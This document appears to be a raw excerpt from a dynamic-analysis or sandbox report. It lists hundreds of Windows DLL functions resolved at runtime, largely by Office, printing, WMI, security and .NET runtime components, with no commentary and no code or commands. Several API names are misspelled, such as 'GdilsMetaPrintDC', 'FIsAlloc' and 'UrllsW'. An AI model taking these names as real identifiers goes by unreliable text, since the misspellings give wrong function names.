- DynamicLoader: USP10.DLL/ScriptGetFontFeatureTags
- DynamicLoader: USP10.DLL/ScriptGetFontScriptTags
- DynamicLoader: USP10.DLL/ScriptGetFontLanguageTags
- DynamicLoader: USP10.DLL/ScriptGetLogicalWidths
- DynamicLoader: USP10.DLL/ScriptApplyLogicalWidth
- DynamicLoader: USP10.DLL/ScriptGetGlyphABCWidth
- DynamicLoader: USP10.DLL/ScriptCacheGetHeight
- DynamicLoader: USP10.DLL/ScriptGetGlyphABCWidth
- DynamicLoader: USP10.DLL/ScriptGetFontProperties
- DynamicLoader: USP10.DLL/ScriptApplyDigitSubstitution
- DynamicLoader: USP10.DLL/ScriptRecordDigitSubstitution
- DynamicLoader: USP10.DLL/ScriptGetProperties
- DynamicLoader: USP10.DLL/ScriptGetFontAlternateGlyphs
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetRegionHRgn
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetDC
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipGetMatrixElements
- DynamicLoader: mso.dll/
- DynamicLoader: GDI32.dll/GdilsMetaPrintDC
- DynamicLoader: mso.dll/
- DynamicLoader: GdiPlus.dll/GdipReleaseDC
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/



- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/SysAllocString
- DynamicLoader: OLEAUT32.dll/SysStringLen
- DynamicLoader: OLEAUT32.dll/SysFreeString
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: kernel32.dll/HeapSetInformation
- DynamicLoader: msproof7.dll/DllGetClassObject
- DynamicLoader: msproof7.dll/DllCanUnloadNow
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ADVAPI32.dll/NotifyServiceStatusChangeW
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ADVAPI32.dll/NotifyServiceStatusChangeW
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: kernel32.dll/InitializeCriticalSectionAndSpinCount
- DynamicLoader: MSLID.DLL/
- DynamicLoader: MSLID.DLL/
- DynamicLoader: MSLID.DLL/
- DynamicLoader: MSLID.DLL/
- DynamicLoader: MSLID.DLL/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: CRYPTSP.dll/CryptGenKey
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey



- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: riched20.dll/REMSOHIInst
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/RpcStringFreeW
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: unidrvui.dll/DrvResetConfigCache
- DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
- DynamicLoader: mxdwui.DLL/DllGetClassObject
- DynamicLoader: Comctl32.dll/InitCommonControlsEx
- DynamicLoader: mxdwui.DLL/DllCanUnloadNow
- DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
- DynamicLoader: mxdwui.DLL/DllGetClassObject
- DynamicLoader: mxdwui.DLL/DllCanUnloadNow
- DynamicLoader: unidrvui.dll/DrvDocumentPropertySheets
- DynamicLoader: mxdwui.DLL/DllGetClassObject
- DynamicLoader: mxdwui.DLL/DllCanUnloadNow
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: Winspool.DRV/StartDocDlgW
- DynamicLoader: Winspool.DRV/OpenPrinterW
- DynamicLoader: Winspool.DRV/ResetPrinterW
- DynamicLoader: Winspool.DRV/ClosePrinter
- DynamicLoader: Winspool.DRV/GetPrinterW
- DynamicLoader: Winspool.DRV/GetPrinterDriverW
- DynamicLoader: Winspool.DRV/EndDocPrinter
- DynamicLoader: Winspool.DRV/EndPagePrinter
- DynamicLoader: Winspool.DRV/ReadPrinter
- DynamicLoader: Winspool.DRV/StartDocPrinterW
- DynamicLoader: Winspool.DRV/StartPagePrinter
- DynamicLoader: Winspool.DRV/AbortPrinter
- DynamicLoader: Winspool.DRV/DocumentEvent
- DynamicLoader: Winspool.DRV/QuerySpoolMode
- DynamicLoader: Winspool.DRV/QueryRemoteFonts
- DynamicLoader: Winspool.DRV/SeekPrinter
- DynamicLoader: Winspool.DRV/QueryColorProfile
- DynamicLoader: Winspool.DRV/SplDriverUnloadComplete
- DynamicLoader: Winspool.DRV/DocumentPropertiesW
- DynamicLoader: Winspool.DRV/
- DynamicLoader: Winspool.DRV/IsValidDevmodeW
- DynamicLoader: Winspool.DRV/GetSpoolFileHandle
- DynamicLoader: Winspool.DRV/CommitSpoolData
- DynamicLoader: Winspool.DRV/CloseSpoolFileHandle
- DynamicLoader: Winspool.DRV/
- DynamicLoader: unidrvui.dll/DrvDocumentEvent
- DynamicLoader: mxdwui.DLL/DllGetClassObject
- DynamicLoader: mxdwui.DLL/DllCanUnloadNow
- DynamicLoader: unidrvui.dll/DrvDocumentEvent
- DynamicLoader: mxdwui.DLL/DllGetClassObject
- DynamicLoader: mxdwui.DLL/DllCanUnloadNow
- DynamicLoader: mxdwdrv.dll/DrvEnableDriver
- DynamicLoader: CRYPTSP.dll/CryptSetHashParam
- DynamicLoader: CRYPTSP.dll/CryptHashData











- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: USER32.dll/UnregisterPowerSettingNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: POWRPROF.DLL/PowerSettingUnregisterNotification
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: dwmapi.dll/DwmIsCompositionEnabled
- DynamicLoader: dwmapi.dll/DwmGetColorizationColor
- DynamicLoader: kernel32.dll/GetProductInfo
- DynamicLoader: kernel32.dll/GetUserGeoID
- DynamicLoader: msi.dll/DllGetVersion
- DynamicLoader: GdiPlus.dll/GdipDeleteCachedBitmap
- DynamicLoader: mso.dll/
- DynamicLoader: mso.dll/
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
- DynamicLoader: Comctl32.dll/
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: ole32.dll/CoGetClassObject
- DynamicLoader: ole32.dll/CoGetMarshalSizeMax
- DynamicLoader: ole32.dll/CoMarshalInterface
- DynamicLoader: ole32.dll/CoUnmarshalInterface
- DynamicLoader: ole32.dll/StringFromIID
- DynamicLoader: ole32.dll/CoGetPSClsid
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: ole32.dll/CoCreateInstance
- DynamicLoader: ole32.dll/CoReleaseMarshalData
- DynamicLoader: ole32.dll/DcomChannelSetHResult
- DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
- DynamicLoader: VSSAPI.DLL/CreateWriter
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: ole32.dll/CoTaskMemAlloc
- DynamicLoader: ADVAPI32.dll/LookupAccountNameW
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: samcli.dll/NetLocalGroupGetMembers
- DynamicLoader: SAMLIB.dll/SamConnect
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
- DynamicLoader: RPCRT4.dll/RpcStringFreeW
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: SAMLIB.dll/SamOpenDomain
- DynamicLoader: SAMLIB.dll/SamLookupNamesInDomain
- DynamicLoader: SAMLIB.dll/SamOpenAlias
- DynamicLoader: SAMLIB.dll/SamFreeMemory
- DynamicLoader: SAMLIB.dll/SamCloseHandle
- DynamicLoader: SAMLIB.dll/SamGetMembersInAlias
- DynamicLoader: netutils.dll/NetApiBufferFree
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: ole32.dll/CoCreateInstance
- DynamicLoader: ole32.dll/StringFromCLSID



- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: PROPSYS.dll/VariantToPropVariant
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: wbemsvc.dll/DllGetClassObject
- DynamicLoader: wbemsvc.dll/DllCanUnloadNow
- DynamicLoader: authZ.dll/AuthzInitializeContextFromToken
- DynamicLoader: authZ.dll/AuthzInitializeObjectAccessAuditEvent2
- DynamicLoader: authZ.dll/AuthzAccessCheck
- DynamicLoader: authZ.dll/AuthzFreeAuditEvent
- DynamicLoader: authZ.dll/AuthzFreeContext
- DynamicLoader: authZ.dll/AuthzInitializeResourceManager
- DynamicLoader: authZ.dll/AuthzFreeResourceManager
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: RPCRT4.dll/RpcBindingCreateW
- DynamicLoader: RPCRT4.dll/RpcBindingBind
- DynamicLoader: RPCRT4.dll/I\_RpcMapWin32Status
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: ADVAPI32.dll/EventEnabled
- DynamicLoader: kernel32.dll/RegCloseKey
- DynamicLoader: kernel32.dll/RegSetValueExW
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: kernel32.dll/RegQueryValueExW
- DynamicLoader: kernel32.dll/RegCloseKey
- DynamicLoader: wmisvc.dll/IsImproperShutdownDetected
- DynamicLoader: Wevtapi.dll/EvtRender
- DynamicLoader: Wevtapi.dll/EvtNext
- DynamicLoader: Wevtapi.dll/EvtClose
- DynamicLoader: Wevtapi.dll/EvtQuery
- DynamicLoader: Wevtapi.dll/EvtCreateRenderContext
- DynamicLoader: RPCRT4.dll/RpcStringBindingComposeW
- DynamicLoader: RPCRT4.dll/RpcBindingFromStringBindingW
- DynamicLoader: RPCRT4.dll/RpcBindingSetAuthInfoExW
- DynamicLoader: RPCRT4.dll/RpcBindingSetOption
- DynamicLoader: RPCRT4.dll/RpcStringFreeW
- DynamicLoader: RPCRT4.dll/NdrClientCall3
- DynamicLoader: RPCRT4.dll/RpcBindingFree
- DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
- DynamicLoader: ole32.dll/CoCreateFreeThreadedMarshaler
- DynamicLoader: ole32.dll/CoGetMarshalSizeMax
- DynamicLoader: ole32.dll/CreateStreamOnHGlobal
- DynamicLoader: ole32.dll/CoMarshalInterface
- DynamicLoader: CRYPTSP.dll/CryptGenRandom
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: KERNELBASE.dll/InitializeAcl
- DynamicLoader: KERNELBASE.dll/AddAce
- DynamicLoader: kernel32.dll/OpenProcessToken
- DynamicLoader: KERNELBASE.dll/GetTokenInformation
- DynamicLoader: KERNELBASE.dll/DuplicateTokenEx
- DynamicLoader: KERNELBASE.dll/AdjustTokenPrivileges
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: KERNELBASE.dll/AllocateAndInitializeSid
- DynamicLoader: KERNELBASE.dll/CheckTokenMembership
- DynamicLoader: kernel32.dll/SetThreadToken
- DynamicLoader: ADVAPI32.dll/RegOpenKeyW
- DynamicLoader: ole32.dll/CLSIDFromString
- DynamicLoader: ole32.dll/CoCreateInstance



- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: authZ.dll/AuthzInitializeContextFromToken
- DynamicLoader: authZ.dll/AuthzInitializeResourceManager
- DynamicLoader: authZ.dll/AuthzInitializeContextFromSid
- DynamicLoader: authZ.dll/AuthzInitializeContextFromToken
- DynamicLoader: authZ.dll/AuthzAccessCheck
- DynamicLoader: authZ.dll/AuthzFreeContext
- DynamicLoader: authZ.dll/AuthzFreeResourceManager
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: ole32.dll/CoGetClassObject
- DynamicLoader: ole32.dll/CoGetCallContext
- DynamicLoader: ole32.dll/StringFromGUID2
- DynamicLoader: ole32.dll/CoImpersonateClient
- DynamicLoader: ole32.dll/CoRevertToSelf
- DynamicLoader: ole32.dll/CoSwitchCallContext
- DynamicLoader: ole32.dll/CoCreateGuid
- DynamicLoader: kernel32.dll/ResolveDelayLoadedAPI
- DynamicLoader: ole32.dll/CoInitializeEx
- DynamicLoader: SspiCli.dll/LogonUserExExW
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ole32.dll/CoInitializeEx
- DynamicLoader: wbemcore.dll/Reinitialize
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: ntmarta.dll/GetMartaExtensionInterface
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/SetThreadPreferredUILanguages
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetSystemDefaultLocaleName
- DynamicLoader: FastProx.dll/DllGetClassObject
- DynamicLoader: FastProx.dll/DllCanUnloadNow
- DynamicLoader: kernel32.dll/RegOpenKeyExW
- DynamicLoader: kernel32.dll/RegQueryValueExW
- DynamicLoader: kernel32.dll/RegCloseKey
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventUnregister
- DynamicLoader: ADVAPI32.dll/EventWrite
- DynamicLoader: ADVAPI32.dll/EventActivityIdControl
- DynamicLoader: ADVAPI32.dll/EventWriteTransfer
- DynamicLoader: ADVAPI32.dll/EventEnabled
- DynamicLoader: ADVAPI32.dll/RegOpenKeyW
- DynamicLoader: ADVAPI32.dll/LsaEnumerateTrustedDomains
- DynamicLoader: ADVAPI32.dll/LsaQueryInformationPolicy
- DynamicLoader: ADVAPI32.dll/LsaNtStatusToWinError
- DynamicLoader: ADVAPI32.dll/LsaFreeMemory
- DynamicLoader: ADVAPI32.dll/LsaOpenPolicy
- DynamicLoader: ADVAPI32.dll/LsaClose
- DynamicLoader: ADVAPI32.dll/QueryServiceStatusEx
- DynamicLoader: ADVAPI32.dll/DuplicateTokenEx
- DynamicLoader: ADVAPI32.dll/SetSecurityDescriptorControl
- DynamicLoader: ADVAPI32.dll/ConvertToAutoInheritPrivateObjectSecurity
- DynamicLoader: ADVAPI32.dll/DestroyPrivateObjectSecurity
- DynamicLoader: ADVAPI32.dll/CheckTokenMembership
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedObjectAce
- DynamicLoader: ADVAPI32.dll/AddAccessDeniedObjectAce



- DynamicLoader: ADVAPI32.dll/AddAuditAccessObjectAce
- DynamicLoader: ADVAPI32.dll/SetNamedSecurityInfoW
- DynamicLoader: ADVAPI32.dll/GetNamedSecurityInfoW
- DynamicLoader: ADVAPI32.dll/SetNamedSecurityInfoExW
- DynamicLoader: ADVAPI32.dll/GetExplicitEntriesFromAclW
- DynamicLoader: ADVAPI32.dll/GetEffectiveRightsFromAclW
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: userenv.dll/DestroyEnvironmentBlock
- DynamicLoader: userenv.dll/CreateEnvironmentBlock
- DynamicLoader: sechost.dll/ConvertSidToStringSidW
- DynamicLoader: SspiCli.dll/GetUserNameExW
- DynamicLoader: ole32.dll/StringFromCLSID
- DynamicLoader: ole32.dll/CoTaskMemFree
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: ntdll.dll/EtwUnregisterTraceGuids
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: kernel32.dll/SortGetHandle
- DynamicLoader: kernel32.dll/SortCloseHandle
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryInfoKeyW
- DynamicLoader: ADVAPI32.dll/RegEnumKeyExW
- DynamicLoader: ADVAPI32.dll/RegEnumValueW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: kernel32.dll/FIsAlloc
- DynamicLoader: kernel32.dll/FIsFree
- DynamicLoader: kernel32.dll/FIsGetValue
- DynamicLoader: kernel32.dll/FIsSetValue
- DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
- DynamicLoader: kernel32.dll/CreateEventExW
- DynamicLoader: kernel32.dll/CreateSemaphoreExW
- DynamicLoader: kernel32.dll/SetThreadStackGuarantee
- DynamicLoader: kernel32.dll/CreateThreadpoolTimer
- DynamicLoader: kernel32.dll/SetThreadpoolTimer
- DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks
- DynamicLoader: kernel32.dll/CloseThreadpoolTimer
- DynamicLoader: kernel32.dll/CreateThreadpoolWait
- DynamicLoader: kernel32.dll/SetThreadpoolWait
- DynamicLoader: kernel32.dll/CloseThreadpoolWait
- DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
- DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
- DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
- DynamicLoader: kernel32.dll/GetLogicalProcessorInformation
- DynamicLoader: kernel32.dll/CreateSymbolicLinkW
- DynamicLoader: kernel32.dll/SetDefaultDllDirectories
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/CompareStringEx
- DynamicLoader: kernel32.dll/GetDateFormatEx
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/GetTimeFormatEx
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/IsValidLocaleName
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: kernel32.dll/GetCurrentPackageId
- DynamicLoader: kernel32.dll/GetTickCount64
- DynamicLoader: kernel32.dll/GetFileInformationByHandleExW
- DynamicLoader: kernel32.dll/SetFileInformationByHandleW





- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: mscoree.dll/
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/RegQueryValueExW
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: mscoreei.dll/RegisterShimImplCallback
- DynamicLoader: mscoreei.dll/RegisterShimImplCleanupCallback
- DynamicLoader: mscoreei.dll/SetShellShimInstance
- DynamicLoader: mscoreei.dll/OnShimDllMainCalled
- DynamicLoader: mscoreei.dll/CorBindToRuntimeEx\_RetAddr
- DynamicLoader: mscoreei.dll/CorBindToRuntimeEx
- DynamicLoader: SHLWAPI.dll/UrllsW
- DynamicLoader: VERSION.dll/GetFileVersionInfoSizeW
- DynamicLoader: VERSION.dll/GetFileVersionInfoW
- DynamicLoader: VERSION.dll/VerQueryValueW
- DynamicLoader: kernel32.dll/FlsAlloc
- DynamicLoader: kernel32.dll/FlsFree
- DynamicLoader: kernel32.dll/FlsGetValue
- DynamicLoader: kernel32.dll/FlsSetValue
- DynamicLoader: kernel32.dll/InitializeCriticalSectionEx
- DynamicLoader: kernel32.dll/CreateEventExW
- DynamicLoader: kernel32.dll/CreateSemaphoreExW
- DynamicLoader: kernel32.dll/SetThreadStackGuarantee
- DynamicLoader: kernel32.dll/CreateThreadpoolTimer
- DynamicLoader: kernel32.dll/SetThreadpoolTimer
- DynamicLoader: kernel32.dll/WaitForThreadpoolTimerCallbacks
- DynamicLoader: kernel32.dll/CloseThreadpoolTimer
- DynamicLoader: kernel32.dll/CreateThreadpoolWait
- DynamicLoader: kernel32.dll/SetThreadpoolWait
- DynamicLoader: kernel32.dll/CloseThreadpoolWait
- DynamicLoader: kernel32.dll/FlushProcessWriteBuffers
- DynamicLoader: kernel32.dll/FreeLibraryWhenCallbackReturns
- DynamicLoader: kernel32.dll/GetCurrentProcessorNumber
- DynamicLoader: kernel32.dll/GetLogicalProcessorInformation
- DynamicLoader: kernel32.dll/CreateSymbolicLinkW
- DynamicLoader: kernel32.dll/SetDefaultDllDirectories
- DynamicLoader: kernel32.dll/EnumSystemLocalesEx
- DynamicLoader: kernel32.dll/CompareStringEx
- DynamicLoader: kernel32.dll/GetDateFormatEx
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/GetTimeFormatEx
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/IsValidLocaleName
- DynamicLoader: kernel32.dll/LCMapStringEx
- DynamicLoader: kernel32.dll/GetCurrentPackageId
- DynamicLoader: kernel32.dll/GetTickCount64
- DynamicLoader: kernel32.dll/GetFileInformationByHandleExW
- DynamicLoader: kernel32.dll/SetFileInformationByHandleW
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: clr.dll/SetRuntimeInfo
- DynamicLoader: clr.dll/DllGetClassObjectInternal
- DynamicLoader: mscoree.dll/CreateConfigStream
- DynamicLoader: mscoreei.dll/CreateConfigStream\_RetAddr
- DynamicLoader: mscoreei.dll/CreateConfigStream
- DynamicLoader: kernel32.dll/GetNumaHighestNodeNumber
- DynamicLoader: kernel32.dll/FlsSetValue
- DynamicLoader: kernel32.dll/FlsGetValue
- DynamicLoader: kernel32.dll/FlsAlloc
- DynamicLoader: kernel32.dll/FlsFree
- DynamicLoader: ntdll.dll/RtlVirtualUnwind
- DynamicLoader: kernel32.dll/GetSystemWindowsDirectoryW
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid



- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: kernel32.dll/AddSIDToBoundaryDescriptor
- DynamicLoader: kernel32.dll/CreateBoundaryDescriptorW
- DynamicLoader: kernel32.dll/CreatePrivateNamespaceW
- DynamicLoader: kernel32.dll/OpenPrivateNamespaceW
- DynamicLoader: ADVAPI32.dll/AllocateAndInitializeSid
- DynamicLoader: ADVAPI32.dll/OpenProcessToken
- DynamicLoader: ADVAPI32.dll/GetTokenInformation
- DynamicLoader: ADVAPI32.dll/InitializeAcl
- DynamicLoader: ADVAPI32.dll/AddAccessAllowedAce
- DynamicLoader: ADVAPI32.dll/FreeSid
- DynamicLoader: kernel32.dll/DeleteBoundaryDescriptor
- DynamicLoader: kernel32.dll/WerRegisterRuntimeExceptionModule
- DynamicLoader: kernel32.dll/RaiseException
- DynamicLoader: mscoree.dll/
- DynamicLoader: mscoreei.dll/
- DynamicLoader: kernel32.dll/AddDllDirectory
- DynamicLoader: ole32.dll/CoInitializeEx
- DynamicLoader: CRYPTBASE.dll/SystemFunction036
- DynamicLoader: mscoree.dll/GetProcessExecutableHeap
- DynamicLoader: mscoreei.dll/GetProcessExecutableHeap\_RetAddr
- DynamicLoader: mscoreei.dll/GetProcessExecutableHeap
- DynamicLoader: KERNELBASE.dll/SetSystemFileCacheSize
- DynamicLoader: ntdll.dll/NtSetSystemInformation
- DynamicLoader: KERNELBASE.dll/PrivIsDllSynchronizationHeld
- DynamicLoader: OLEAUT32.dll/SysStringByteLen
- DynamicLoader: kernel32.dll/GetLocaleInfoEx
- DynamicLoader: kernel32.dll/LocaleNameToLCID
- DynamicLoader: CRYPTSP.dll/CryptImportKey
- DynamicLoader: CRYPTSP.dll/CryptHashData
- DynamicLoader: CRYPTSP.dll/CryptGetHashParam
- DynamicLoader: CRYPTSP.dll/CryptDestroyHash
- DynamicLoader: CRYPTSP.dll/CryptDestroyKey
- DynamicLoader: clrjit.dll/sxsJitStartup
- DynamicLoader: clrjit.dll/getJit
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: OLEAUT32.dll/
- DynamicLoader: CRYPTSP.dll/CryptReleaseContext
- DynamicLoader: ADVAPI32.dll/RegCloseKey
- DynamicLoader: kernel32.dll/GetUserDefaultLocaleName
- DynamicLoader: kernel32.dll/LCIDToLocaleName
- DynamicLoader: kernel32.dll/GetUserPreferredUILanguages
- DynamicLoader: kernel32.dll/GetThreadPreferredUILanguages
- DynamicLoader: nlssorting.dll/SortGetHandle
- DynamicLoader: nlssorting.dll/SortCloseHandle
- DynamicLoader: ADVAPI32.dll/RegOpenKeyEx
- DynamicLoader: ADVAPI32.dll/RegOpenKeyExW
- DynamicLoader: ADVAPI32.dll/EventRegister
- DynamicLoader: ADVAPI32.dll/EventSetInformation
- DynamicLoader: kernel32.dll/CompareStringOrdinal
- DynamicLoader: kernel32.dll/GetFullPathName
- DynamicLoader: kernel32.dll/GetFullPathNameW
- DynamicLoader: kernel32.dll/SetThreadErrorMode



- DynamicLoader: kernel32.dll/GetFileAttributesEx
- DynamicLoader: kernel32.dll/GetFileAttributesExW
- DynamicLoader: clr.dll/CreateAssemblyNameObject
- DynamicLoader: clr.dll/CreateAssemblyNameObjectW
- DynamicLoader: ole32.dll/CoGetContextToken
- DynamicLoader: ole32.dll/CoGetObjectContext
- DynamicLoader: sechost.dll/LookupAccountNameLocalW
- DynamicLoader: ADVAPI32.dll/LookupAccountSidW
- DynamicLoader: sechost.dll/LookupAccountSidLocalW
- DynamicLoader: CRYPTSP.dll/CryptAcquireContextW
- DynamicLoader: CRYPTSP.dll/CryptGenRandom
- DynamicLoader: ole32.dll/NdrOleInitializeExtension
- DynamicLoader: ole32.dll/CoGetClassObject
- DynamicLoader: ole32.dll/CoGetMarshalSizeMax
- DynamicLoader: ole32.dll/CoMarshalInterface
- DynamicLoader: ole32.dll/CoUnmarshalInterface
- DynamicLoader: ole32.dll/StringFromIID
- DynamicLoader: ole32.dll/CoGetPSClsid
- DynamicLoader: ole32.dll/CoTaskMemAlloc
